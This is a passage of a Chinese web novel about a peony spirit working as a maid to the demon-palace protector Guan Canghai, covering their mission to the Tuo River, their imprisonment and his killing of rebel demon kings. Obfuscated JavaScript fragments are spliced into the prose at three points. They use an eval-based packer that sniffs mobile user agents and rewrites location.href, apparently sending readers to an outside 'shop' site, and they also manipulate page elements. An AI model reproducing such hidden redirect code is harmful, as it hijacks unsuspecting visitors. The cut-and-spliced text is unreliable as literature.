“自己吃吧,别等凉了。” 他收回目光,继续打磨自己的刀。我拎着食盒进了灶房,捧着粥在门口坐着,一边喝粥,一边啃肉包。 “护法,这个包子是猪肉菌菇的,好好吃,你吃一个?” “不吃。” 我就不客气地把这个馅儿的包子都吃了,等他细致地磨完刀,我也吃饱了早饭。 然后,我就不知道自己要做什么了。 以往都是挑个饭点的时间来骚扰他,然后做饭、吃饭、聊天、回家,这这么个流程。 现在几乎一整个白天都要跟着他,我不可能真的啥也不干吧。 “护法,我需要做些什么?” 大概是看出来没安排任务会让我闲得慌,观沧海没让我洗衣服铺床,也没说擦桌扫地铲雪,而是让我去烧一盆炭火放在主屋。 他这怪物体质几乎不用靠炭火取暖,生了火谁受益,当然是我了。 去杂物房里找到煤炭,用干草引燃后,架空的炭烧了起来,不过片刻,屋子里都暖了不少。 将刀收入鞘中,放在刀架上,观沧海像是一刻也不闲着,又出门了。烤着火的我连忙跟上去,“护法,你去哪里。” “东苑竹林练功。” “呃,请。” 我对练功胸无大志,先把自己根基打好再说。我回屋和小妖精们聊天嗑瓜子吃柑橘,再来一杯败火的莲子茶,我这哪里是来上班,就是享福的。 就这么闲散了个把时辰,我估摸着十一点左右吧,这才起身去了东苑的竹林。他没进石屋修炼,而是在空地上练功,身法格外俊俏。 默默地欣赏了一会儿,双手拢在袖子里,我憨笑着问,“护法,我做午饭,你想吃什么?” “我做。” “什么都是你做,那我不是没用了。” “你真给我当丫鬟来的?不是说做朋友吗。” “可……可我还领着工钱呢。” “你就当来我家做客。” “这多不好意思啊!连吃带拿的。” “我说不交朋友,你装听不见,天天来烦我时,也没见你不好意思。” “……” 原来你会吐槽啊。 怕我心里不安生,观沧海让我烧水生火打下手,做饭的主力还是他。这么搞下去,我都要被攻略了! 搬着小板凳坐在门口,我削着手里的冬瓜,听着身后砍猪排骨的声音,竟然觉得这样还挺安心的。 今天中午吃冬瓜排骨汤,清蒸鱼,还有两盘小菜,这个菜量我俩正好能吃完。饭搭子做久了,我能吃多少,他心知肚明。 “护法,你早上是不是很早就起来了。” “嗯。” “那我要和你一起吃早饭,得天不亮就起来啊。” “那就不和我吃早饭。” “好吧,不执着早饭,吃中饭、晚饭。” 啃着排骨,用筷子夹着不方便啃,我放下筷子,上手抓起来吃,他将手帕放在我手边,我吃了排骨,笑着用帕子擦擦手。 “护法,你人其实很好,怎么会没朋友。” “没人像你这么烦。” “……” 也是,没有任务压着我,碰壁两次,我就不会再主动热脸贴冷屁股了。就算他是个香饽饽,摆出生人勿进的架势,也会让人望而生畏。 “你是故意不交朋友的吧。”我试探地问。 “谁最后吃完谁洗碗,我吃完了。” “咦,啊?” 看到他扒掉碗里最后一口饭将碗筷放下,我愕然张嘴,就算不想聊天,也不用这样吧! 收拾了灶房,总算是体会到了居家保姆的累,我揉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是我扛着梯子又敲响了观沧海的家门,这次是他开的门,看到我去而复返,他眼里透出疑惑。 “我之前翻你家墙,专门买了梯子,现在用不上了,梯子放护法家里行不行呀?” “你说呢。” “好的,谢谢!” “……” 趁着他没有阻止,我拿着梯子进屋,四处看了看,就把这梯子放在大门口一侧的墙边,我也扛不动太远的距离了。 “嘿嘿,这次是真走了,告辞,明天见!” 再次挥挥手,顶着少年一言难尽的目光,我跑路了。 13.13 如此闲散的宅人生活过了几天,我也跟着养了几天的骨头。 这日下午,天放晴,院内的雪人在结界里依旧□□,我都怀疑要等到春天,这个雪人才会消融。 “咚咚咚咚——” 门外响起急促的敲门声,正好在附近扫雪的我将扫帚放在一旁,走过去开门。这么些天过去了,这是我听到的第一个敲门声。 来人是魔宫里的侍从,他见到我后有些吃惊,“你是?” “我是调任到护法身边伺候的侍女,我叫姜星辰,请问兄台有什么事吗?” “魔尊给了新任务,劳烦姜姑娘转达给护法,还请护法务必按照密信上的指令执行。” “哦,好的,马上转达。” 侍从离去后,我关上门,拿着信去东苑的竹林,观沧海正在这里修炼法术。 “护法,魔尊派人给你送了新任务。” 石房子厚重的门打开,观沧海快步走出,他从我手里拿过密信,用法术拆开。 我又不好意思去偷看,等到他毁掉信件后,我才问道:“护法,你要出门执行任务了吗。” “嗯。” “也不知道要多久,去多远。”我又得盼星星盼月亮,本来任务就多,如果没什么机会相处,这进度条得走得多慢呀。 “信上说你和我一起。” “啊?”我震惊地瞪眼,“我以为护法不会带我这个拖油瓶。” “是魔尊的意思。” “……” “你不想去,就和她说。” “我去!我当然要跟着护法!” 听我这么积极地响应,观沧海考虑着,“你确定要跟着我出去做任务?” “嗯!” “心甘情愿?” “当然了!求之不得!” “我是去做任务,不是玩耍,会有危险。” 正所谓风浪越大鱼越贵,吊桥效应也是需要一定的场合才能出现,要是共患难了,友情说不定会突飞猛进。 “挚友就应该同甘苦共患难。”我摆出一脸忠贞的样子。 “那随你了。”观沧海也不打算再劝了。 “哎哎,护法,去哪里做任务,大概要几天?我不问任务细节,也不会打扰你的,就是想知道出发之前要准备多少物资。” “去沱河,你按半个月的量准备。” “噢,好的!” 观沧海经常出差,对于风餐露宿的日子早就习以为常。而我穿越过来以后,基本就在八方城里待着了,都没怎么外出。 为了准备充足的东西,我和他请假出门采买,观沧海干脆给我放假,让我明天早晨辰时到他家集合就行。 回了趟宿舍,从床底下拿出积攒的灵石,我出门去法器店又买了一个乾坤袋。一个袋子装吃的,一个袋子装日用品,我准备的还是双份。 毕竟也是出门一趟,我多少怀抱了一些新鲜好奇,隐约有点兴奋呢。 第二日辰时,冬日这个点,天还没完全亮。 我提着一个小灯笼,踏着街边的残雪,快步赶去观沧海家。这次赶时间,我就没有专门去醉人楼,而是在路边摊买了鲜肉包和糯米糕。 赶到他家门前,穿着灰色长衫的少年抱着剑倚靠在门边的石狮子旁,听到我的脚步声,闭目养神的他睁开眼看过来。 “护法,这次你应该没吃早饭吧。”我将手里的那份早点递过去。 “……” “难道你又吃了?” 观沧海接过后,扒开油纸,一口啃上包子,“没吃,我只是想着你有可能会买。” 还挺了解我。 于是我俩站在他家门前啃早饭,我可不想耽误他进度,连忙往嘴里塞,嘴里呼呼冒着热气,我又看到有人推着车叫卖。 “羊汤、稀饭、豆腐脑、豆浆、鲜果汁儿~” “老板!” 我马上叫住老板,推着车的人闻声停下,我看向观沧海,“护法你喝什么?” “鲜果汁。” “那我要豆浆。” 老板提供瓷碗,等我们喝完了,他收了碗再离开。冬天早上这么吃饱喝足再出发,也是相当幸福了。 吃过早饭,我跟着观沧海去了一家高档的法器店铺,这和我买发热符咒的可不是一家。 老板娘是认识观沧海的,看到他来了,行礼道:“护法,需要什么法器。” “浮木龟和百鸟舟。” 店里的小妖把这两样东西取来,一个是木制的乌龟,一个是草编制的鸟,看着很一般。观沧海付了钱,拿东西走人,我连忙跟上他。 走出八方城后,我就有点没力气了,从袋里掏出肉干嚼着吃。因为怕太娇气了,被观沧海退货回去,所以我一路上都不敢说要休息。 “还能走么。”他看向我。 “能。” “真的?” “……要是能休息的话,感激不尽。” “你说朋友之间,是不是要坦诚点。” “我想休息,护法。” 观沧海将先前买的百鸟舟拿了出来,他结印施法,草编的小鸟变成了一个鸟头鸟尾的小船。他上船坐下,然后看向我,陆地上坐船?没思考太久,我也跟着上去。 “坐稳了。” 叮嘱了一声后,他催动灵力,一掌发出。这鸟船乘风而起,一跃飞上天空,我惊奇地看着周围往下降的景色,八方城在视野里缩小,能看清整个城市的布局。 升空到一定的高度后,鸟船就慢悠悠地前行了,像是坐了一艘浮空艇。 上空的风雪比较大,鸟尾往上竖起张开,形成了一个顶棚挡住雪花,安全感十足。 “护法,我们就坐这个小鸟去往目的地?” “嗯。” “回来也是坐它吗?” “这只能用一次。” 居然还是一次性的,我想起他买了两个,推测道,“所以过去的时候,往天上走,回来的时候用乌龟走水路?” “是。” “护法你不御剑飞行吗?” “浪费灵力。” “也是,毕竟还要带一个我,我还不会飞。” 这么一想,他买这些交通工具,都是因为多了个我的缘故吧。 “魔尊说,牡丹娇弱,让我好好照料。” “哦,我自己也会当心的。” 还以为是他关怀备至,原来是因为随璘的嘱托,行吧,论迹不论心。 出了八方城的地界,一直往东边走,没有风雪的天气了,天空变得晴朗起来。借着好天气,能看到不少风景。 越过高山湖泊,心境也觉得很开阔。我从乾坤袋里拿出一个小凳子,把吃的摆满了凳面,又掏出来一颗柚子。 观沧海:“你又要吃了吗。” “嗯,反正还没到吧,我剥柚子给你吃。” 柚子有多难杀,吃过柚子的都知道,我拿着小刀削的时候,观沧海从我手里把柚子拿走了。 比起我费劲的样子,他的手指更为有力,轻松扒开了柚子皮,将柚子肉一块块掰开。 厚颜无耻的我掏出一颗橙子,“嘿嘿,护法,再帮我剥个橙子吧。谢谢!” “……” 把柚子皮和橙子皮都收集了,下次可以泡水,我满足地吃着水果,时不时看一眼周围的山巅云海。 “我们要去沱河鲶鱼妖王的地盘。” 他主动说起了此行的内容,我掏出了地瓜干,专心发问,“目的是什么,我需要做什么?” “鲶鱼妖王妖洞内乱,沱河水路支系众多,河运瘫痪,一部分地域枯水闹旱灾,一部分水域河水泛滥闹洪灾。” “听起来要完蛋了的样子。” “要先止住内乱,其他问题都会迎刃而解。” “护法是去站队的?总觉得会有很多阴谋。” “谁效忠魔尊,我站谁。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757956|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯,我会跟紧护法,绝对不给你添乱。” 鸟船在半夜我睡着后加速赶路了,隔天早晨醒来,船已经落地。我没看见观沧海,他可能去嘘嘘了,我打着哈欠,爬出船去洗脸漱口。 在小溪边刚擦干净脸,我看到水里隐约出现一个黑影。 鱼? 小溪里有这么大的鱼么?那影子看起来得有半米长。当我意识到不好时,破水声乍起,水中跃出一条狰狞的鱼精。 “啊——” 吓得虎躯一震,我拔腿就跑,鱼精可能也不是很厉害,上了岸后速度也变慢了,但对付我还是绰绰有余。 跑了几百米,慌不择路的我已经找不到回去的路,一点也跑不动了,干脆心一横,我钻入一片杂草丛中,现出了本相。一朵瑟瑟发抖的牡丹花躲在草堆里,大气不敢出。 还好鱼精脑子不好,像蜈蚣那样爬上岸后,它也不知道我是牡丹花,跟丢了我,它在空地上打滚撒泼,乱撞乱扳动。 一颗小树被它撞断倒下,鱼精气急败坏地继续嗷嗷叫,忽的,它停住了撒泼的行为,鱼眼睛迸射出一抹精光。 “我嗅到你气息了,花妖。” 这是什么恐怖片啊!是不是我吃了太多鱼,所以被报复了。 鱼眼扫射,望向了我化形躲藏的草丛,它甩着尾巴爬行了过来。 忽的,它一个扫尾,将草丛打烂,我赶紧跟着这些杂草一起躺平,装作被打中的样子。 “还不出来吗,花妖!” 天啊,要是被抓到了,我要变成鲜花饼了! “来了。” 头顶想起少年无波无澜的声音,只见一道冷冽刀光直劈而下,刚刚还叫嚣的鱼精被劈成两半,顷刻间,对半开的鱼倒下,内脏爆了一地,吓得我吱哇乱叫。 “没事了。” 叶子被戳了戳,我这才扬起脑袋,用劫后余生的表情说道:“呼,得救了。” 屈膝蹲在我面前的少年打量着我的本体,又伸手戳一下我的花瓣,他的手指只是轻轻一压,花瓣就塌陷了下去,我不舒服地扭了扭。 “好软。”观沧海说道。 “花瓣当然软啦,幸好护法来得快,还以为要被做成鲜花饼了。”从本体化为人形,我从地上爬起来。 少年跟着我一块起身,我都不敢去看那边鱼精的尸体,他反倒过去了,在一堆内脏里精准地掏出指甲盖大小的妖丹。 “吃么。”他将妖丹递过来。 我记得他以前也送过我妖丹,这是好东西,好多妖怪自相残杀也是为了抢妖丹增加修为。 我本来想拒绝的,但这次我放聪明了,“谢谢护法!” 把这妖丹放入乾坤袋里,以后说不定有别的作用。 观沧海还打量着鱼精的尸体,我谨慎地问:“护法,你难道还要鞭尸吗。” “鱼精的血肉能做成花肥给你,你要不要?” “……”虽然大补,但是恶心啊!仙丹不香吗! “不了不了!”我连忙摇头,并转移话题,“护法,你刚刚去哪里了?” “探路。” “哦。”我紧紧地跟着他。 观沧海看我一眼,说道,“我们已经到了沱河地界,这里野怪山精很多,因为内乱,管理不严,所以没什么秩序,下次不让你一个人了。” 他就离开半个时辰,我就遇到危险,看来是有些麻烦的,谁让我又没有自保的能力。 “护法,我想去溪边洗洗手,你刚才掏妖丹,手上也有血。”我指着他染血的左手。 他带着我又去了一趟溪边清洗,我拿出干果和肉饼,正要当早饭递给他,观沧海说道:“有人来请我们了,早饭不吃这个。” 话音落,两队河蚌精怪训练有素地走来,他们穿着侍卫的衣服,对着观沧海行礼。 “请问是八方城魔宫护法观沧海吗。” “是。” “妖王有请。” 14.14 我和观沧海到沱河地界没多久,就被鲤鱼长老派蚌精们邀请到了沱河里的宫殿。 这还是我第一回进入水下的妖族地盘,没有影视剧里龙宫那么富丽堂皇,但看着也挺有规模。比起岸上没怎么打理的深山老林,河里的城池显得规整许多。 鲤鱼长老说鲶鱼妖王身体不适,所以让他来招待我俩。 宴会厅里也没多少妖魔,看着挺冷清的。随后,几位水藻小妖和一些河鲜进了厅堂,奏乐声响起,水藻们舞动起来,为这单调的地方增添几分情趣。 观沧海带着我在酒席上入座,他既然不多说,我也不多问,只是看着这一桌山珍海味不敢动筷。 “二位不吃,是饭菜不合口味?”鲤鱼长老关切地问道。 观沧海:“没有。” “那就好,听闻魔宫的护法是人族,所以准备的酒水都是人族爱吃的。今日护法前来沱河地界巡查,我们自然不敢怠慢,用过饭后,还请护法歇息。” 观沧海:“何时能见妖王。” “不急,我会安排的,还请吃好喝好。” 长老让侍卫在这陪同,自己躬身告退。 “吃吧。”观沧海抿了一口酒水,对着我说。 虽然觉得这河底的宫殿有种说不出的怪异,不过观沧海都说吃饭,那应该没问题。 这饭菜还是有水准的,高兴吃下两大碗,粉蒸肉特别香,我还想让观沧海尝尝,他握着酒杯的手一松。 “砰——” 酒杯落地碎裂,少年两眼一闭,栽倒在桌上。我惊得差点喷饭,放下手里的碗筷去晃他,“护法、护法!” 难道酒里面下药了?那我吃的饭菜? 刚这么想着,我也感觉到一股无力从四肢传来,脑袋昏昏沉沉的,我望向周围的侍卫还有吹拉弹唱的乐队、舞女,颤颤巍巍地伸手指着这些河鲜。 “你们……” 眼前一黑,我彻底人事不知。 · 睁开眼,我先是看到少年的背,然后感觉到自己硌得慌。手撑着石板床,感觉到一片冰凉,从床上爬起来,我看清这里是一间牢房。 昏暗的光亮来自于低等法器提供的光辉,穿盔带甲的水中精怪来回巡逻。牢里还能听到严刑拷打的声音,听起来关了不少人,只不过我们这边没有邻居。 “醒了。”听到我的动静,少年转过身。 “护法,我的乾坤袋不见了。” “被外面的狱卒拿走了。” “我的家当啊!里面有吃的用的,而且为什么关我俩?”哀嚎一声,我发问。 “饭菜和酒水里都下药了,长老把控了大部分势力,妖王被阵法捆住,妻儿也被关押做威胁,其他的士兵不知道政变,所以没有动静。” 听明白后,我又问:“那我们是帮哪边的?” “先看看。” 妖魔界虽然是魔尊随璘做老大,但每个妖王魔主在自己的地盘上都有相当大的自主权,一般魔尊不会干涉内部问题,只要关键时刻能号召这些妖魔老大就行。 但妖魔界不比天界那么循规蹈矩,所以总是出现内部夺权之类的事情。妖族内斗很多,随璘其实也懒得管这些,毕竟她需要更强悍的妖魔管理自己的地盘,而不是草包。 只是有些妖魔做了一区老大,心思太野了,比如想推翻随璘,或者想走上古六魔的老路,这种就需要铲除。 这次来沱河就是看看新势力怎么站队的。 “所以,你是故意喝酒被迷晕的?” “嗯。” “哎,好吧,只是我又饿了。” 一旦饿就觉得没力气,体力不支靠在墙边,我摆出一副要死不活的样子。 “……” 观沧海也是服了我,他起身走到牢门前拍了拍,“有人吗。” 一个狱卒过来,人身鱼头,腰间挎着刀,问道:“怎么啦?” “饿了。” “可是没到放饭时间。”狱卒有些为难地看着他。 “什么时候放饭?” “还有两个时辰。” “现在就要吃。” 狱卒的态度还挺好的,也因为关着的护法不是一般身份,他就去找狱卒领头的询问,然后被踹了。 “饿死他们,区区一个人族护法,有什么了不起,等长老把持大局,就攻打魔宫!” 被踹一脚的狱卒灰头土脸地过来,我都有点不好意思了,就因为我想吃东西,害得他被打,牛马命真是感同身受了。 “头儿不让吃,你们吃点这个吧,这是我姐姐做的。”狱卒悄悄地递过来几块黄豆糕。 观沧海不客气地收下了黄豆糕,转手递给我,“吃。” 我也不扭捏,拿起来就吃,叫住那个狱卒,“大哥大哥!” “还有事吗。” “我们被关进来,身上的东西是不是被你们搜查走了?” “嗯,随身之物要上缴的。” “那我的乾坤袋和护法的刀还在牢里吗?” 狱卒点点头,没有告知确切地方,只说道:“公子、姑娘,你们还是别费力气了,长老控制了这里,等过几天,妖王位置就要换人坐了。要是不想死,还是归顺长老吧。” 提醒完,狱卒揉着腰子走了。 我吃了一半黄豆糕,把另一半递给观沧海,他说:“你留着吃。” 料想也是他比我扛饿,每个人的体质不同,我就不谦让了,自己包好藏在了怀中。 没太多吃的傍身,也没仙丹打底,为了减少自己的消耗,我走到石砌的床上又躺了,就是太硬了。 “你不担心么。”观沧海看我吃了就躺平,不由得问道。 “不担心,因为还有护法在,天塌下来你顶着,你顶不住了,那我们就埋一起算了。”说难听点就是皇帝不急,太监也不急! 我听到他笑了一声,随后也不再和我说话了。 生平也是第一次坐牢,还有一个搭子一起,所以我没怎么害怕,还没有早上被鱼精追杀来得恐怖。 又睡了一觉起来,不知道昼夜,感觉时间都颠倒了。 我把剩下的黄豆糕拿出来吃,并起身说道,“护法,这张床让给你,你都让我睡很久了。” “你睡够了?”他问。 “嗯,也不知道现在外面是白天还是晚上。” 可惜乾坤袋被收缴了,我对于越狱是没有一点办法的,总不能真找个勺子挖地道吧。 等我吃完了黄豆糕,观沧海活动了一下手腕,走到牢门口。 “到我这个位置来。” 他这么说,我赶紧走到他的身边站定,然后他又走到了牢房的中间。 只见他结印,脚下出现了双重圆形阵法,整个牢房都被猩红色的光芒映照。这个阵上画着锁链,看起来是用来关押观沧海的。 我在阵法边缘的位置,紧紧贴着牢门,生怕自己坏事。 解阵的动静不大,巡逻的士兵还没有发现这边的情况,而因为没有邻居的关系,也没有告密的。 约莫一刻钟,观沧海破掉了阵,将牢房打开了。 要说长老谨慎,他知道下药,在牢房里用阵法困住观沧海,但说他自傲大意也是有的,真以为弄点毒药和阵法,就能拿下对方,完全把人小看了。 刚走出牢房,我俩就看见端着两碗饭过来的狱卒,他瞪大眼睛,看着我俩走出来。 “嘘。”观沧海做了个噤声的手势。 这狱卒就是给我黄豆糕的那位,他看到这特殊牢房困不住我们,就知道自己也不是对手。 “我、我来给你俩送饭吃的。”狱卒有些害怕地开口 观沧海平静地吩咐:“把我的刀,还有她的乾坤袋送来。” “这样就不杀我吗?” “嗯。” “你不怕我告密吗。” “那我只能全杀了,是你害死的。” “……” 别说是狱卒了,这话我听到也惊了一瞬。 狱卒将两碗饭放下,转身就跑。没过片刻,他将刀和乾坤袋都送来了,畏惧地说道:“我们都是挣点养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那些余孽说只要我将这沱河地界全部掌控,顺着水路将各个河流的妖王都召集,我们一定能推翻了随璘,攻打天界!” “我真的只是受了蛊惑啊,护法!” 接二连三的求饶后,这声音戛然而止,接着是重物倒地的声音。 观沧海从内室出来,我连忙后退站好。我没有看到长老的尸体,少年将刀上的血迹也擦干净了。 我不知道他下一步要做什么,但眼前的人摇身一变,从剑眉星眸的模样变成了老奸巨猾的鲤鱼精长老。 他将一套侍女的衣服给我,“换上。” 我懂他的意思了,拿着衣服换好后,在这当起了端茶倒水的丫鬟。不过我很纳闷,目的是什么? “护法,我们要假扮多久?” “两天。你只管在房间里吃喝,别的不用管。” 这个定位让我显得没用极了,但我欣然接受。观沧海用鲤鱼长老的样子将外面的侍卫调过来把守,又让侍女送来一桌吃的。 刚准备翻乾坤袋找食吃的我顿时眼冒金光,待到周围人都退下后,我搬着板凳过去吃饭。 “护法快吃。” “你要洗澡吗。” “要。” “吃完后,我让人送浴桶进来,你今晚好好休息。” “我们都在这里睡吗。” “你睡主卧,我去偏房。” “我去偏房,你都变成长老了,肯定要睡主卧,不然很奇怪的。” “无妨,没人敢质疑长老。” 是这个理没错,我本来想坚持的,结果拗不过他。 得到食物,又洗过澡后,我这朵枯萎的牡丹又缓和过来了。带着一种吸饱养分的光泽,我满面红光地钻入被窝里。 虽说是因为随璘吩咐,观沧海才对我这么照料,但他确实挺会养花的,感恩。 15.15 我在这个寝殿里享福了两天,而化形成鲤鱼长老的观沧海这两天进进出出,一副主持大局很繁忙的样子。 一头雾水的我只好在这里吃吃喝喝,怕自己胡乱介入扰乱他的公事。观沧海夜里回屋就会来看我一番,确定我的人身安全。门外的侍卫看似是戍守他的安全,实际上是保护我的。 到了第三日的早晨,我忙着吃早饭,观沧海走到桌边。 帅气的小酷哥变成妖怪长老,这张奸诈的老脸我看了这么几天,真的有点怀念他的高颜值原皮了。 “今天就能办完事,酉时之前别出门,除非我派人来叫你。” “知道了,护法,你会有危险吗?” “不会。” “那就祝护法成功。” 观沧海出去了。 我心安理得地待在屋子里,房间那么大,无聊了就吃点东西、睡睡觉、翻翻桌上的书,照着画册练练笔墨,对于打发时间我还是很有一手。 到了中午时分,外面有了一些动静,我虽然好奇,但也牢记观沧海的交代,没有踏出寝殿半步。 侍女进来送午饭,我坐在桌前打探着:“外面出什么事了吗?” “这我不知,是会堂那边传出来的声音,应该是别的妖王来参会,长老叮嘱让寝殿这里的大家不必理会前殿的事。” “这样哦,这个炒板栗好吃,多给我送两盘吧。” “好的,姑娘。” 侍女出去时,我看到外面的守卫还在,看来寝殿这边的确不管外面的事情。 吃饱喝足,再来一颗仙丹健体,我在房里扭扭身体做拉伸,又装模作样地磨墨练字。 鬼画符了两刻钟,就觉得自己写得实在不堪入目,放下毛笔,我躺回床上补觉。 这一觉睡得舒服,有微弱的声音喊着,我以为做梦就没搭理,直到一股柔柔的力道推在我的被子上。 睁开眼,我看到侍女在床边哆嗦地喊着,她似乎要哭出来了,一副梨花带雨的可怜模样。 “怎么了,谁欺负你了?”我醒了瞌睡,一边穿衣服一边问她。 她似乎不是被欺负,而是身体战栗,纯粹被吓的。她从嗓子中挤出声音,“姑娘,护法、护法有请,让、让我带你去前殿的会堂。” 留意到她喊的是护法而不是长老,观沧海解除了自己的变身术,摊牌了? “现在什么时辰。” “快酉时了。” 我穿上鞋袜,侍女给我梳了头,带着我去往前殿。她一路上都在抖,像是见到了极为恐怖的事情,整个人都心神不宁的。 “没事的,我们都是魔尊的手下,只要效忠魔尊,都会没事的。”我有意安慰她,女孩回给我一个勉强的笑。 走入前殿,这里重兵把守,我嗅到了很浓烈的血腥味。 “你有没有闻到血腥味。”我问。 “有。”她抖着嗓子回答。 “别怕,只要效忠魔尊,不会有事的。不过会堂这里,你之前说有别地的妖王来参会,是什么会啊。” 侍女低声道:“是千河大会,长老几日前就发动各个河流的妖王来参会,所以那些河流之主就过来了。” 沱河地界内乱夺权,这个节骨眼还要开会召集别的河流妖王过来,总觉得蹊跷。 终于到了会堂,一直若隐若现的血腥味有了源头,侍女低着头根本不敢看屋子里的情形,而我看到血淋淋的现场后,人都傻住了。 直冲鼻孔的腥气捂着鼻子都不能隔绝,还有那些东倒西歪的残破尸身,让我吓得脚软扶墙。门槛边有一条蛇尾,桌角下是被切掉的肢体,还有破败的蚌壳。 这些妖王死掉后化为本相,但就算不是人形,也十分可怖。 不过我马上在心里安慰自己,把这个当成人吃完河鲜后的餐桌就行了,那些螃蟹、鱼骨头、虾头、水蛇、田螺什么的…… 还是很惊悚啊! 会堂里来参会的河流妖王全都死了,面色苍白的少年坐在台阶上,此地如坟场般寂静,只有我忍不住作呕的声音回荡着。 不知道他上一世作为战神,是不是也这样。 如果这些都是人的尸身,场面该有多恐怖。其实本质上差不多,他就是为随璘服务的,若是凡人挡了路,他一样会杀。 现在观沧海身体里的六魔残念还没显现,要是出现了,又该有多恐怖。在这几秒钟内,我开始有了拯救苍生的一个实际感受。 没呕出什么实质性的东西,隔着这些尸体,我都不好下脚靠近观沧海,他拄着长刀,目光缓慢地转过来。 眼神对上,我似乎感受到一种隐形的恶意,他像是故意让我看到这个恐怖的场景。 毫无疑问,这些妖王都是他杀的,他完全控制了沱河地界,这些手下根本不敢反对他,只会归顺。 原来的鲶鱼妖王和妻儿可能也被他解救了,整座宫殿没有大乱,说明局势稳住了。 再结合我之前偷听到的鲤鱼长老的话,我心中有了一个答案。 提着裙角,我尽量不去看周围的尸身,小心翼翼地来到观沧海身前,“护法,这些妖王是不是密谋推翻魔尊,你正好借着这个千河大会一网打尽?” 身上沾染的血迹已然干涸,他拄着刀起身,“对魔尊不忠,就不留了。” 观沧海早已成为了随璘手中的一把刀,这样的人,就算清除了体内的六魔残念,真的能回到天界再做回战神吗?而且天界已经有小雨这个新战神了。 我低头,恭顺地回,“知道了,不过,所有河流的妖王都不忠吗?” “不是,这里只有三十五位。后续可以扶持新人上位。” “那鲶鱼妖王一家子怎么样了?” “鲶鱼王在清除长老的势力,他没叛变,依旧对魔尊忠心,可留。” “所以任务完成了?” “嗯。” “恭喜恭喜,护法你要不要沐浴更衣,休息一下?这几天一定很累吧。” 观沧海看着我,琢磨了片刻,问道:“不怕么。刚刚不是还腿软了。” “怕啊,我都没敢看周围。” “我的任务就是这些,一直杀,一直杀。” “没有不杀的吗?” “有,但少。你考虑一下,回去别跟着我了,我这人不适合做朋友。” 我实在没想到他会说这话,看一眼他的神色,没什么波动的脸上像是活死人,只是配着面庞的血迹,显得冷艳无情。 “护法,退一万步讲,就算你不适合做朋友,可你很会养花。我觉得跟着你,挺好的。” “……我不是花匠。” “护法是魔尊的左膀右臂,魔宫的希望,肯定不是花匠。” 看我这油盐不进的样子,他叹了口气。 “这个给你。” 少年拎着一个锦囊,我伸手接过,里面全都是泛着微光的妖丹,我清点了一下,一共三十四颗,肯定是这些妖王的。 这些妖丹修为最少的五百年,最多的一千年,我震惊地望向他,“给、我的?”这也太豪横了! “你不是身体弱么,吃这个。” “可……” 可我是小仙不是小妖,但到手的妖丹可是贵重得很,哪有不要的道理,于是我连忙改口,“谢谢护法!” “还有一颗妖丹是一千五百年的,我要送魔尊。” “嗯嗯!” 我还纳闷着怎么少一颗,他就给我解释了,我哪里敢有什么意见。这会儿就跟着他走出大门,外面的侍女看到他一身血走出去,吓得跪在地上发抖。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768916|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 观沧海斜睨一眼快晕过去的侍女,又回头看我,显然我的胆子要大一些。 一路跟着他走去了寝殿,观沧海洗漱之前,叮嘱道,“回去见了魔尊,别和她说我用这些尸体吓唬你。” “……” 果然他当时是故意叫我过去看这些的,就是想让我知难而退,不要再缠着他。 我露出一个营业性的笑容,“不会的,护法送我这么多妖丹呢!护法对我很好的,我不会告状!” 鲶鱼妖王重掌大权,自是一派喜气洋洋,虽说还有一大堆事情要他处理,但为表诚意,他特意举办了一场庆功会。 沐浴后换了一身月白的衣衫,观沧海整个人显得清冷,搭着没什么生气的脸,有种即将随风去的孱弱感。 但只要和他的眼睛对上,那双凌厉的黑色眼眸会告诉你,他不是缥缈的云雾,而是能砸死人的钢板。 “护法和魔尊牵挂我沱河地界,我真是感激不尽,我等誓死追随魔尊,绝无二心。若是不嫌弃,护法多留几日,我也好尽心招待。” 鲶鱼妖王举杯相邀,说的话是十分之恭敬。 但不怎么社交的观沧海拒绝了,我感觉他已经是归心似箭,就像牛马到点下班一样。 “我明日回城,妖王不必费心,内乱还需尽快平定,干旱和洪灾也要治理好。” “那时自然!如此,我也不强留了。只是护法你杀了那么多河流的妖王,我担心会有影响。” “无碍,魔尊已有备选人才,毒瘤不除才是后患。” “是,魔尊英明。” 他们谈公事,我就忙着吃喝。 我猜这次的任务并不算难,因为观沧海都没有受伤,随璘也敢让我跟着一起来。她肯定是想着让我和他培养友谊的,结果这小子还想吓退我,让我主动远离。 观沧海当然不是善茬,经过这次血洗叛乱妖王的事件,我更加确定他的凶残,但也发现了他的铁胆忠心。 越想我越觉得可惜了,如果真的是我捡到他,并且从小养到大,那就是我的好大儿了,哎! 